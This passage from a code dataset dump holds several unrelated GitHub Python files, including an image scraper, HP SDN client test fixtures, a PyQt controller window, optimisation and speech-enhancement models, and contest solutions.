'http://www.win4000.com/meitu.html'\n resp = requests.get(url)\n if resp.status_code == 200:\n soup = BeautifulSoup(resp.text,'lxml')\n lis = soup.find_all(name='div',attrs={'class':\"list_cont list_cont2 w1180\"})\n image_dict = {}\n\n for node in lis:\n lis2 = node.find_all(name = 'li')\n for node2 in lis2:\n name = node2.p.string\n url2 = node2.a.attrs['href']\n image_dict[name] = url2\n\n if image_dict:\n deal_image_dict(image_dict)\n\n\ndef deal_image_dict(image_dict):\n '''多线程下载每一个图集'''\n\n sys.setrecursionlimit(10000) #例如这里设置为一百万\n pool = Pool()\n pool.map(deal_each,image_dict.items())\n pool.close()\n pool.join()\n\n\ndef deal_each(item):\n '''下载每一个图集'''\n\n name = item[0]\n url = item[1]\n\n if not os.path.exists(name):\n os.mkdir(name)\n\n #替换.html 如 html - > _1.html\n resp = requests.get(url)\n if resp.status_code == 200:\n soup = BeautifulSoup(resp.text,'lxml')\n number = (int)(soup.select('body > div.main > div > div.pic_main > div > div.Bigimg > div.ptitle > em')[0].text)\n\n for i in range(0,number + 1):\n url2 = url\n if i != 0:\n new_str = '_' + str(i) + '.html'\n url2 = url.replace('.html',new_str)\n\n resp = requests.get(url2)\n if resp.status_code == 200:\n soup = BeautifulSoup(resp.text,'lxml')\n image_url = soup.select('#pic-meinv > a > img')[0].attrs['data-original']\n\n resp = requests.get(image_url)\n if resp.status_code == 200:\n file_path = '{0}/{1}.{2}'.format(name,i,'jpg')\n\n if not os.path.exists(file_path):\n with open(file_path,'wb') as f:\n f.write(resp.content)\n print(file_path + '\\n')\n\n \nif __name__ == \"__main__\":\n main()","repo_name":"wangpanqiao/spiders","sub_path":"spiders/meizhuo_spider.py","file_name":"meizhuo_spider.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22059930635","text":"# with open(\"./Queries/Emaar.txt\", \"r\") as file:\n# with open(\"./Queries/GTAA.txt\", \"r\") as file:\nwith open(\"./Queries/Oxford.txt\", \"r\") as file:\n document = {}\n queryIdx = 0\n for line in file:\n # Start of Query\n if line.startswith(\"Query is: \"):\n # Read query\n curQuery = line[10:]\n print(curQuery)\n queryIdx += 1\n\n # Add query to document dictionary\n document[queryIdx] = {}\n\n # Initialize query for full-text and neural results\n document[queryIdx][1] = []\n document[queryIdx][2] = []\n resultIdx = 0\n\n # Start of Result\n elif line.startswith(\"->>>>>>>>>>>>>>>>>>>>\"):\n # Full-text results 1\n # Neural results 2\n resultIdx += 1\n # Initialize 10 empty strings for each response\n for i in range(0, 50):\n document[queryIdx][resultIdx].append(\"\")\n responseIdx = 0\n\n # End of result\n elif line.startswith(\"-\" * 80):\n responseIdx += 1\n\n else:\n # Add response to document dictionary\n print(responseIdx)\n document[queryIdx][resultIdx][responseIdx] += line\n\n\nfor i in range(1, 4):\n for j in range(1, 3):\n for k in range(0, 50):\n print(document[i][j][k] + \"\\n\")\n","repo_name":"Aditya-k-23/Information-Retrieval-Ordering","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74286862634","text":"LICENSE = {\n \"install_id\": 1234567,\n \"serial_no\": 10,\n \"license_metric\": \"Controller Node\",\n \"product\": \"HP VAN SDN Ctrl Base\",\n \"metric_qty\": 50,\n \"license_type\": \"DEMO\",\n \"base_license\": True,\n \"creation_date\": \"2013-06-25T23:51:09.826Z\",\n \"activated_date\": \"2013-06-22T23:51:09.826Z\",\n \"expiry_date\": \"2023-06-25T23:51:09.826Z\",\n \"license_status\": \"INACTIVE\",\n \"deactivated_key\": \"SOME LICKEY\"\n}\n\nAPP = {\n \"uid\": \"com.hp.cloud\",\n \"version\": \"01.11.00.2342\",\n \"vendor\": \"Hewlett-Packard\",\n \"name\": \"Cloud Controller\",\n \"desc\": \"Cloud Network Controller\",\n \"state\": \"INSTALLED\",\n \"deployed\": \"2013-05-23T10:09:08.000Z\"\n}\n\nAPP_HEALTH = {\n \"deployed\": \"2013-10-16T21:15:10.922Z\",\n \"name\": \"Topology Viewer\",\n \"state\": \"ACTIVE\",\n \"status\": \"OK\",\n \"uid\": \"com.hp.sdn.tvue\"\n}\n\nAUDIT_LOG = {\n \"uid\": \"730d99ee-78f9-4301-ab2b-7871df61a6d3\",\n \"system_uid\": \"a1adf6a0-13d3-45de-bf66-acc504e84dba\",\n \"user\": \"sdn\",\n \"ts\": \"2013-06-05T17:54:19.265Z\",\n \"activity\": \"Artifact Management - Upload\",\n \"description\": \"geewiz-apps-1.0.0.jar has been staged\"\n}\n\nSYSTEM = {\n \"uid\": \"adc5e492-957c-4f8c-aa0a-97fa2dac5f23\",\n \"version\": \"01.11.00.0000\",\n \"role\": \"leader\",\n \"core_data_version\": 0,\n \"core_data_version_timestamp\": \"1970-01-01T00:00:00.000Z\",\n \"time\": \"1970-01-01T00:00:00.000Z\",\n \"self\": True,\n \"status\": \"active\"\n}\n\nREGION = {\n \"uid\": \"adc5e492-957c-4f8c-aa0a-97fa2dac5f01\",\n \"master\": {\n \"ip\": \"125.200.104.101\",\n \"name\": \"Controller_1\"\n },\n \"slaves\": [\n {\n \"ip\": \"125.200.104.102\",\n \"name\": \"Controller_2\"\n }\n ],\n \"devices\": [\n {\n \"ip\": \"125.200.104.200\"\n }\n ]\n}\n\nTEAM = {\n \"name\": \"Test Cluster\",\n \"ip\": \"192.168.139.111\",\n \"version\": \"1374169868918\",\n \"systems\": [\n {\n \"name\": \"member 1\",\n \"ip\": \"192.168.139.101\",\n \"priority\": 10\n },\n {\n \"name\": \"member 2\",\n \"ip\": \"192.168.139.102\",\n \"priority\": 20\n },\n {\n \"name\": \"member 3\",\n \"ip\": \"192.168.139.103\",\n \"priority\": 30\n }\n ]\n}\n\nALERT = {\n \"desc\": \"Some description\",\n \"org\": \"TeamingManager\",\n \"sev\": \"INFO\",\n \"state\": True,\n \"system_uid\": \"669aa151-2790-4cb0-9656-75e9651893ee\",\n \"topic\": \"teaming\",\n \"ts\": \"2013-10-16T21:14:29.704Z\",\n \"uid\": \"2237dab8-c5e0-4a43-83ba-60b318741450\"\n}\n\nALERT_TOPIC = {\n \"desc\": \"Alerts associated with license compliance\",\n \"org\": \"compliance-manager\",\n \"topic\": \"licensing\"\n}\n\nALERT_TOPIC_LISTENER = {\n \"uid\": \"cb0f4bf2-a8f5-4b06-8937-abfc79d33423\",\n \"app_id\": \"imc\",\n \"name\": \"IMC OpenFLow Listener\",\n \"callbacks\": [\n {\n \"topics\": [\n \"of_controller\",\n \"of_controller_link\"\n ],\n \"uri\": \"http://imc.h3c.com/sdn\"\n }\n ]\n}\n\nMETRIC_APP = {\n \"app_id\": \"com.hp.sdn.cloud\",\n \"app_name\": \"HP VAN SDN Cloud Controller\",\n}\n\nMETRIC = {\n \"name\": \"Metric A\",\n \"type\": \"COUNTER\",\n \"uid\": \"65f1a180-ab5e-4b41-8c9f-b1597a4d1200\",\n \"primary_tag\": \"router1\",\n \"secondary_tag\": \"port1\",\n \"jmx\": True,\n \"persistence\": True,\n \"summary_interval\": \"ONE\"\n}\n\nMETRIC_VALUES = {\n \"type\": \"COUNTER\",\n \"uid\": \"95ac45f3-75d2-49ff-a815-d6b780dc4e98\",\n \"datapoint_count\": 1,\n \"datapoints\": [\n {\n \"count\": \"43\",\n \"milliseconds_span\": \"58\",\n \"update_time\": \"Mon Aug 19 15:02:41 PDT 2013\"\n }\n ]\n}\n\nCONTROLLER_STATS = {\n \"duration_ms\": 8413750,\n \"lost\": {\n \"bytes\": 0,\n \"packets\": 0\n },\n \"msg_in\": 3178,\n \"msg_out\": 1594,\n \"packet_in\": {\n \"bytes\": 0,\n \"packets\": 0\n },\n \"packet_out\": {\n \"bytes\": 38920,\n \"packets\": 556\n },\n \"uid\": \"aa079dc9-b9ec-4e15-a2ee-b753c2d02397\"\n}\n\nSTATS = {\n \"dpid\": \"00:64:74:46:a0:ff:07:00\",\n \"port_stats\": [\n {\n \"collisions\": 0,\n \"duration_nsec\": 4294967295,\n \"duration_sec\": 4294967295,\n \"port_id\": 24,\n \"rx_bytes\": 86162,\n \"rx_crc_err\": 0,\n \"rx_dropped\": 0,\n \"rx_errors\": 0,\n \"rx_frame_err\": 0,\n \"rx_over_err\": 0,\n \"rx_packets\": 860,\n \"tx_bytes\": 204628,\n \"tx_dropped\": 0,\n \"tx_errors\": 0,\n \"tx_packets\": 1594\n }\n ]\n}\n\nPORT_STATS = {\n \"collisions\": 0,\n \"duration_nsec\": 4294967295,\n \"duration_sec\": 4294967295,\n \"port_id\": 24,\n \"rx_bytes\": 86162,\n \"rx_crc_err\": 0,\n \"rx_dropped\": 0,\n \"rx_errors\": 0,\n \"rx_frame_err\": 0,\n \"rx_over_err\": 0,\n \"rx_packets\": 860,\n \"tx_bytes\": 204628,\n \"tx_dropped\": 0,\n \"tx_errors\": 0,\n \"tx_packets\": 1594\n}\n\nGROUP_STATS = {\n \"id\": 121,\n \"ref_count\": 0,\n \"packet_count\": 0,\n \"byte_count\": 0,\n \"duration_sec\": 30,\n \"duration_nsec\": 773000000,\n \"bucket_stats\": [\n {\n \"packet_count\": 0,\n \"byte_count\": 0\n }\n ]\n}\n\nMETER_STATS = {\n \"band_stats\": [\n {\n \"byte_count\": 0,\n \"packet_count\": 0\n },\n {\n \"byte_count\": 0,\n \"packet_count\": 0\n }\n ],\n \"byte_count\": 0,\n \"duration_nsec\": 3801967296,\n \"duration_sec\": 3664433282,\n \"flow_count\": 0,\n \"id\": 1,\n \"packet_count\": 0\n}\n\nDATAPATH = {\n \"capabilities\": [\n \"flow_stats\",\n \"table_stats\",\n \"port_stats\",\n \"group_stats\",\n \"port_blocked\"\n ],\n \"device_ip\": \"140.1.1.1\",\n \"device_port\": 62075,\n \"dpid\": \"00:64:74:46:a0:ff:07:00\",\n \"last_message\": \"2013-10-16T23:54:35.576Z\",\n \"negotiated_version\": \"1.3.0\",\n \"num_buffers\": 0,\n \"num_tables\": 3,\n \"ready\": \"2013-10-16T21:17:02.652Z\"\n}\n\nMETER_FEATURES = {\n \"flags\": [\n \"kbps\",\n \"pktps\",\n \"stats\"\n ],\n \"max_bands_per_meter\": 2,\n \"max_color_value\": 8,\n \"max_meters\": 126,\n \"types\": [\n \"drop\"\n ]\n}\n\nGROUP_FEATURES = {\n \"actions\": [\n {\n \"all\": [\n \"output\"\n ]\n },\n {\n \"select\": [\n \"output\"\n ]\n }\n ],\n \"capabilities\": [\n \"select_liveness\"\n ],\n \"max_groups\": [\n {\n \"all\": 32\n },\n {\n \"select\": 32\n }\n ],\n \"types\": [\n \"all\",\n \"select\"\n ]\n}\n\nPORT = {\n \"advertised_features\": [],\n \"config\": [],\n \"current_features\": [\n \"rate_1gb_fd\",\n \"rate_1tb_fd\"\n ],\n \"current_speed\": 3567587328,\n \"id\": 24,\n \"mac\": \"74:46:a0:ff:07:28\",\n \"max_speed\": 3567587328,\n \"name\": \"24\",\n \"peer_features\": [],\n \"state\": [\n \"live\"\n ],\n \"supported_features\": [\n \"rate_10mb_hd\",\n \"rate_10mb_fd\",\n \"rate_100mb_hd\",\n \"rate_100mb_fd\",\n \"rate_1gb_fd\",\n \"rate_1tb_fd\"\n ]\n}\n\nMETER = {\n \"bands\": [\n {\n \"burst_size\": 1000,\n \"mtype\": \"drop\",\n \"rate\": 1500\n },\n {\n \"burst_size\": 1000,\n \"mtype\": \"dscp_remark\",\n \"prec_level\": 1,\n \"rate\": 100\n }\n ],\n \"flags\": [\n \"kbps\",\n \"burst\",\n \"stats\"\n ],\n \"id\": 1\n}\n\nGROUP = {\n \"buckets\": [\n {\n \"actions\": [\n {\n \"output\": 24\n }\n ],\n \"watch_group\": 4294967295,\n \"watch_port\": 4294967295,\n \"weight\": 0\n }\n ],\n \"id\": 1,\n \"type\": \"all\"\n}\n\nFLOW = {\n \"duration_sec\": 66,\n \"duration_nsec\": 825000000,\n \"priority\": 29999,\n \"idle_timeout\": 300,\n \"hard_timeout\": 0,\n \"cookie\": \"0x2328\",\n \"packet_count\": 2,\n \"byte_count\": 140,\n \"match\": [\n {\n \"in_port\": 3\n },\n {\n \"eth_src\": \"be:f9:8c:b6:5b:9c\"\n },\n {\n \"eth_dst\": \"fe:b4:08:c5:23:fc\"\n }\n ],\n \"actions\": [\n {\n \"output\": 2\n }\n ]\n}\n\nFLOW_MA = {\n \"duration_sec\": 66,\n \"duration_nsec\": 825000000,\n \"priority\": 29999,\n \"idle_timeout\": 300,\n \"hard_timeout\": 0,\n \"cookie\": \"0x2328\",\n \"packet_count\": 2,\n \"byte_count\": 140,\n \"match\": [\n {\n \"in_port\": 3\n },\n {\n \"eth_src\": \"be:f9:8c:b6:5b:9c\"\n },\n {\n \"eth_dst\": \"fe:b4:08:c5:23:fc\"\n }\n ],\n \"actions\": [\n {\n \"output\": 1\n },\n {\n \"output\": 2\n },\n {\n \"output\": 3\n }\n ]\n}\n\nCLUSTER = {\n \"uid\": \"172334323\",\n \"links\": [\n {\n \"src_dpid\": \"00:00:00:00:00:00:00:02\",\n \"src_port\": 3,\n \"dst_dpid\": \"00:00:00:00:00:00:00:03\",\n \"dst_port\": 5\n }\n ]\n}\n\nLINK = {\n \"src_dpid\": \"00:00:00:00:00:00:00:02\",\n \"src_port\": 3,\n \"dst_dpid\": \"00:00:00:00:00:00:00:03\",\n \"dst_port\": 5\n}\n\nPATH = {\n \"cost\": 3,\n \"links\": [\n {\n \"src_dpid\": \"00:00:00:00:00:00:00:02\",\n \"src_port\": 3,\n \"dst_dpid\": \"00:00:00:00:00:00:00:03\",\n \"dst_port\": 5\n }\n ]\n}\n\nARP = {\n \"ip\": \"10.0.0.3\",\n \"mac\": \"a2:c0:98:8e:ec:4a\",\n \"vid\": 3\n}\n\nNODE = {\n \"ip\": \"10.0.0.6\",\n \"mac\": \"a2:c0:98:8e:ec:4a\",\n \"dpid\": \"00:00:00:00:00:00:00:02\",\n \"port\": 3,\n \"vid\": 3\n}\n\nLLDP = {\n \"dpid\": \"00:00:00:00:00:00:00:02\",\n \"ports\": [3, 5, 7]\n}\n\nOBSERVATION = {\n \"dpid\": \"00:00:00:00:00:00:00:01\",\n \"type\": \"TCP\",\n \"packet_uid\": \"1\",\n \"status\": \"OK\"\n}\n\nPACKET = {\n \"uid\": \"1\",\n \"eth\": {\n \"eth_src\": \"01:01:01:01:01:01\",\n \"eth_dst\": \"02:02:02:02:02:02\",\n \"eth_type\": \"0x0800(IPv4)\",\n \"vlan_vid\": \"100\",\n \"vlan_priority\": \"PRIORITY_5\"\n },\n \"ip\": {\n \"ipv4_dst\": \"10.0.100.102\",\n \"ipv4_src\": \"10.0.100.101\",\n \"ip_proto\": \"TCP\",\n \"ip_dscn\": \"CS0\",\n \"ip_scn\": \"NOT_ECT\"\n },\n \"tcp\": {\n \"tcp_dst\": 80,\n \"tcp_src\": 12345\n }\n}\n\nNEXT_HOP = {\n \"dpid\": \"00:00:00:00:00:00:00:03\",\n \"port\": 3\n}\n\nINVALID_JSON = '{\"message\": \"Invalid JSON format: Failed to deserialize ping. Please refer to the HP VAN SDN Controller JSON schema for more information.\"}'\n\nILLEGAL_ARG = '{\"error\" : \"java.lang.IllegalArgumentException\", \"message\" : \"v1.0 SET_QUEUE should use createAction(pv,SET_QUEUE,queueId,port)\"}'\n\nVERSION_MISMATCH = '{ \"error\": \"com.hp.of.lib.VersionMismatchException\", \"message\": \"Not supported before version 1.3\"}'\n\nNOTFOUND = '{\"error\": \"com.hp.api.NotFoundException\", \"message\": \"No such device: 00:00:00:00:00:00:00:01\"}'\n\nILLEGAL_STATE = '{\"error\": \"java.lang.IllegalStateException\", \"message\": \"{ofm:[V_1_3,ERROR,36,410271],BAD_REQUEST/BAD_TYPE,#dataBytes=24,OFM-cause:[V_1_3,MULTIPART_REQUEST,24,410271]}\"}'\n\nAUTH = ('{\"record\":{\"token\":\"6dea10bebf074ec3bc2b641535e04'\n 'f04\",\"expiration\":1385824487000,\"expirationDate\":'\n '\"2013-11-30 07-14-47 -0800\",\"userId\":\"cb35f95f8a0'\n '14501bf5b6a94e7813e7b\",\"userName\":\"sdn\",\"domainId'\n '\":\"\",\"domainName\":\"\"}}')\n\n\n\n\n\n\n\n\n","repo_name":"dave-tucker/hp-sdn-client","sub_path":"hpsdnclient/tests/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":11320,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"} +{"seq_id":"15955941252","text":"import time\n\nimport tortoise as t\nimport tool\n\n\nclass PourFishFoodTask(t.Task):\n def __init__(self):\n super(PourFishFoodTask, self).__init__()\n t.p.servo.min()\n self.operations = [t.p.servo.mid, t.p.servo.max]\n self.operations_iter = iter(self.operations)\n\n self.sm = tool.StepManager()\n self.wait_for_sec = 5\n\n self.done = False\n\n def step(self):\n if self.sm.need_step():\n self.sm.step()\n return\n\n if tool.run_n_time_flag(self, 'uahishdfuiah', len(self.operations)):\n self.operations_iter.next()()\n elif tool.run_n_time_flag(self, 'asdfa', 1):\n self.st_time = time.time()\n self.sm.add_blocking(\n lambda: None,\n lambda: time.time() - self.st_time < self.wait_for_sec)\n else:\n self.done = True\n\nif __name__ == '__main__':\n tttt = t.Tortoise()\n tttt.task = PourFishFoodTask()\n tttt.walk()\n","repo_name":"FlashTortoise/patio2-overall-task","sub_path":"pour_fishfood.py","file_name":"pour_fishfood.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71516201194","text":"import logging\nimport modelbased.solvers.utils\n\nlogger = logging.getLogger(__name__)\n\n\nclass ProxDescentFixed:\n def __init__(self, params, tensor_type='numpy', verbose=False):\n \"\"\"\n :param params: Object with parameters:\n\n max_iter: Number of prox-linear iterations.\n sigma: Step size (proximal term weight factor).\n\n :param tensor_type: Type of the Tensors used in the algorithm: 'numpy' or 'pytorch'.\n :param verbose: If True, enables logging on INFO level.\n \"\"\"\n self.params = params\n self.tensor_type = tensor_type\n self.verbose = verbose\n\n def run(self, u_init, loss, solve_subproblem, callback=None):\n \"\"\"\n :param u_init: Initial parameter guess.\n :param loss: Loss function h(c(u)) + r(u).\n :param solve_subproblem: Function which solves the linearized subproblem.\n\n u_new, linloss = solve_subproblem(u, sigma).\n\n Where sigma is the weight factor for the proximal term.\n\n :param callback: Optional callback called in each iteration.\n\n :return: Solution u, list of losses (if max_iter > 1).\n \"\"\"\n t, dot, sqrt = modelbased.solvers.utils.ttype(self.tensor_type)\n\n losses = []\n\n u = u_init\n\n for i in range(self.params.max_iter):\n u, _ = solve_subproblem(u, self.params.sigma)\n\n loss_value = loss(u)\n losses.append(loss_value)\n\n if callback:\n callback(u_new=u, tau=self.params.sigma)\n\n if self.verbose:\n logger.info(\"Iteration {}/{}: {:.6f}\".format(i, self.params.max_iter, loss_value))\n\n return u, losses\n","repo_name":"JeGa/prox-linear-experiments","sub_path":"modelbased/solvers/prox_descent_fixed.py","file_name":"prox_descent_fixed.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15171047679","text":"#ARC057\r\n# https://beta.atcoder.jp/contests/arc057/submissions/2075056\r\nimport sys\r\ninput = sys.stdin.readline\r\nN,K=map(int,input().split())\r\nA=[int(input()) for i in range(N)]\r\n\r\n\r\nif sum(A)==K:\r\n print(1)\r\n exit(0)\r\n\r\ninf = 10**18\r\ndp=[inf]*(N+1)\r\ndp[0]=0\r\nasum=0\r\n\r\nfor i in range(N):\r\n a=A[i]\r\n for j in range(N-1,-1,-1):\r\n if dp[j]==inf:\r\n continue\r\n k=(a*dp[j]//asum + 1) if asum else 1\r\n if k<=a:\r\n dp[j+1]=min(dp[j+1],dp[j]+k)\r\n asum+=a\r\n\r\nif sum(A)!=K:\r\n print(sum(x <= K for x in dp)-1)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc057/B/4473285.py","file_name":"4473285.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"15918214003","text":"\"\"\"Controller window for setting the ball position setpoint.\"\"\"\r\n\r\nfrom typing import Callable, Tuple\r\n\r\nfrom PyQt6 import QtCore, QtWidgets\r\n\r\nfrom ..acp import get_acp_stack_handle\r\nfrom ..acp.messages import BoapAcpMsgId, BoapAcpNodeId, SBoapAcpNewSetpointReq\r\n\r\n\r\nclass ControllerWindow(QtWidgets.QLabel):\r\n \"\"\"Controller window for setting the setpoint.\"\"\"\r\n\r\n def __init__(\r\n self, width: int, height: int, callback_on_close: Callable\r\n ) -> None:\r\n \"\"\"Initialize the controller window.\"\"\"\r\n super().__init__(\"Click anywhere to set the ball position\")\r\n self.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\r\n self.setWindowTitle(\"Controller\")\r\n self.setFixedSize(width, height)\r\n self.touchscreen_width = width\r\n self.touchscreen_height = height\r\n self.callback_on_close = callback_on_close\r\n\r\n def __map_to_touchscreen_position(\r\n self, window_x: int, window_y: int\r\n ) -> Tuple[float, float]:\r\n \"\"\"Map window position to plant's touchscreen coordinates.\"\"\"\r\n x = float(window_x - self.touchscreen_width / 2)\r\n y = float(self.touchscreen_height / 2 - window_y)\r\n return (x, y)\r\n\r\n # Override event handlers\r\n def mousePressEvent(self, event: QtCore.QEvent) -> None:\r\n \"\"\"Handle a mouse press event.\"\"\"\r\n # Send a new setpoint request to the plant\r\n message = get_acp_stack_handle().msg_create(\r\n BoapAcpNodeId.BOAP_ACP_NODE_ID_PLANT,\r\n BoapAcpMsgId.BOAP_ACP_NEW_SETPOINT_REQ,\r\n )\r\n x, y = self.__map_to_touchscreen_position(\r\n event.pos().x(), event.pos().y()\r\n )\r\n payload = message.get_payload()\r\n assert isinstance(payload, SBoapAcpNewSetpointReq)\r\n payload.SetpointX = x\r\n payload.SetpointY = y\r\n get_acp_stack_handle().msg_send(message)\r\n\r\n def closeEvent(self, event: QtCore.QEvent) -> None:\r\n \"\"\"Handle a window close event.\"\"\"\r\n if self.callback_on_close:\r\n self.callback_on_close()\r\n","repo_name":"aCinal/Ball-on-a-plate-control-system","sub_path":"frontend/boap/gui/controller_window.py","file_name":"controller_window.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15224328509","text":"from GCJ import GCJ\r\n\r\ndef read(infile):\r\n return [int(z) for z in infile.readline().split()]\r\n\r\n# I think that if your bet B leaves you with >=2B,\r\n# you are better off cutting your losses and starting anew with 2B\r\n\r\n# If it leaves you with negative money, you should max it up\r\n\r\n# Thus the only possible strategies are:\r\n# Do once\r\n# or\r\n# Do all\r\n\r\ndef solve(data):\r\n [A, M, V] = data\r\n probs = [(i + 0.0) / V for i in xrange(V + 1)]\r\n doneyet = False\r\n while not doneyet:\r\n doneyet = True\r\n for k in xrange(1,V):\r\n score = probs[k]\r\n for bet in xrange(1,min(k, M)+1):\r\n nowscore = 0.5 * probs[k - bet] + 0.5 * (probs[k + bet] if (k + bet < V) else 1.0)\r\n bigbet = bet\r\n numraises = 0\r\n while (bigbet << 1) <= M:\r\n numraises += 1\r\n bigbet = bigbet << 1\r\n if (2 * bigbet > k):\r\n nowscore = max(nowscore, (1 - (0.5 / (1 << numraises))) * (probs[k + bet] if (k + bet < V) else 1.0))\r\n score = max(score, nowscore)\r\n if score > probs[k]:\r\n doneyet = False\r\n probs[k] = score\r\n for bet in xrange(min(A, M),0,-1):\r\n nowscore = 0.5 * probs[A - bet] + 0.5 * (probs[A + bet] if (A + bet < V) else 1.0)\r\n bigbet = bet\r\n numraises = 0\r\n while (bigbet << 1) <= M:\r\n numraises += 1\r\n bigbet = bigbet << 1\r\n if (2 * bigbet > A):\r\n nowscore = max(nowscore, (1 - (0.5 / (1 << numraises))) * (probs[A + bet] if (A + bet < V) else 1.0))\r\n if (nowscore + 0.00000001 >= probs[A]):\r\n return str(\"%.7f\" % probs[A]) + \" \" + str(bet)\r\n return \"Error!\"\r\n\r\nif __name__ == \"__main__\":\r\n GCJ(read, solve, \"c:\\\\linguo\\\\e\", \"e\").run()\r\n","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/CodeJamData/11/65/0.py","file_name":"0.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"41734682185","text":"\"\"\"Descrição\nEscreva um programa que leia dois valores inteiros da entrada padrão e informe qual é o maior. Se os números forem iguais, imprima qualquer um deles.\n\nFormato de entrada\n\nDois valores inteiros.\n\nFormato de saída\n\nO maior dentre os 2 valores fornecidos.\"\"\"\n\n\nN1 = int (input())\nN2 = int (input())\nif (N1 > N2):\n print (N1)\nelif ( N1 < N2):\n print (N2)\nelif ( N1 == N2):\n print (N1)","repo_name":"Andreza-S/Codando","sub_path":"códigos python/Maior de 2 numeros.py","file_name":"Maior de 2 numeros.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36483955516","text":"from typing import List, Tuple\n\nimport torch\nimport torch.nn as nn\nimport torchaudio\n\nfrom config import SLICE_LEN, STRIDE\nfrom dataset import create_chunks\nfrom utils import istdct, stdct\n\n\nclass EncoderLayer(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size, stride, padding):\n super(EncoderLayer, self).__init__()\n self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding, bias=False)\n self.bn = nn.BatchNorm2d(out_channels)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n x = self.conv(x)\n x = self.bn(x)\n x = self.relu(x)\n return x\n\n\nclass Encoder(nn.Module):\n def __init__(\n self, channels: List[int], kernel_size: Tuple[int, int], stride: Tuple[int, int], padding: Tuple[int, int]\n ):\n super(Encoder, self).__init__()\n self.layers = nn.ModuleList(\n [EncoderLayer(channels[i], channels[i + 1], kernel_size, stride, padding) for i in range(len(channels) - 1)]\n )\n\n def forward(self, x: torch.Tensor) -> List[torch.Tensor]:\n out = []\n for layer in self.layers:\n x = torch.nn.functional.pad(x, (0, 0, 1, 0))\n x = layer(x)\n out.append(x)\n return out\n\n\nclass DecoderLayer(nn.Module):\n def __init__(self, in_channels, out_channels, kernel_size, stride, padding, out_padding=(0, 0)):\n super(DecoderLayer, self).__init__()\n self.conv = nn.ConvTranspose2d(\n in_channels, out_channels, kernel_size, stride, padding, bias=False, output_padding=out_padding\n )\n self.bn = nn.BatchNorm2d(out_channels)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n x = self.conv(x)\n x = self.bn(x)\n x = self.relu(x)\n return x\n\n\nclass Decoder(nn.Module):\n def __init__(\n self, channels: List[int], kernel_size: Tuple[int, int], stride: Tuple[int, int], padding: Tuple[int, int]\n ):\n super(Decoder, self).__init__()\n self.layers = nn.ModuleList(\n [\n DecoderLayer(2 * channels[i], channels[i + 1], kernel_size, stride, padding)\n if i < len(channels) - 3\n else DecoderLayer(2 * channels[i], channels[i + 1], kernel_size, stride, padding, out_padding=(0, 1))\n for i in range(len(channels) - 1)\n ]\n )\n\n def forward(self, x: torch.Tensor, encs: List[torch.Tensor]) -> torch.Tensor:\n for layer, enc in zip(self.layers, encs[::-1]):\n inputs = [x, enc]\n x = torch.cat(inputs, dim=1)\n x = x[:, :, :-1, :]\n x = layer(x)\n return x\n\n\nclass Processor(nn.Module):\n def __init__(self, hidden_dim: int = 256):\n super(Processor, self).__init__()\n self.lstm = nn.LSTM(hidden_dim, hidden_dim, 2, batch_first=True)\n self.lstm.flatten_parameters()\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n x, _ = self.lstm(x)\n return x\n\n\nclass CRN(nn.Module):\n def __init__(\n self,\n encoder_channels: List[int],\n decoder_channels: List[int],\n kernel_size: Tuple[int, int] = (2, 5),\n stride: Tuple[int, int] = (1, 2),\n padding: Tuple[int, int] = (1, 0),\n hidden_dim: int = 256,\n ):\n super(CRN, self).__init__()\n self.encoder = Encoder(encoder_channels, kernel_size, stride, padding)\n self.processor = Processor(hidden_dim)\n self.decoder = Decoder(decoder_channels, kernel_size, stride, padding)\n\n self.apply(self._init_weights)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n encs = self.encoder(x)\n x = encs[-1]\n T = x.shape[-2]\n x = x.reshape(x.shape[0], T, -1)\n x = self.processor(x)\n x = x.reshape(x.shape[0], encs[-1].shape[1], T, -1)\n x = self.decoder(x, encs)\n return x\n\n @staticmethod\n def _init_weights(module):\n if isinstance(module, nn.Conv2d):\n nn.init.kaiming_normal_(module.weight.data, mode=\"fan_out\", nonlinearity=\"relu\")\n if module.bias is not None:\n nn.init.zeros_(module.bias.data)\n elif isinstance(module, nn.ConvTranspose2d):\n nn.init.kaiming_normal_(module.weight.data, mode=\"fan_out\", nonlinearity=\"relu\")\n if module.bias is not None:\n nn.init.zeros_(module.bias.data)\n elif isinstance(module, nn.BatchNorm2d):\n nn.init.ones_(module.weight.data)\n if module.bias is not None:\n nn.init.zeros_(module.bias.data)\n elif isinstance(module, nn.Linear):\n nn.init.normal_(module.weight.data, mean=0.0, std=1.0)\n if module.bias is not None:\n nn.init.zeros_(module.bias.data)\n\n @torch.inference_mode()\n def inference(self, file_path: str, device=\"cuda\", normalize=False) -> torch.Tensor:\n audio, sr = 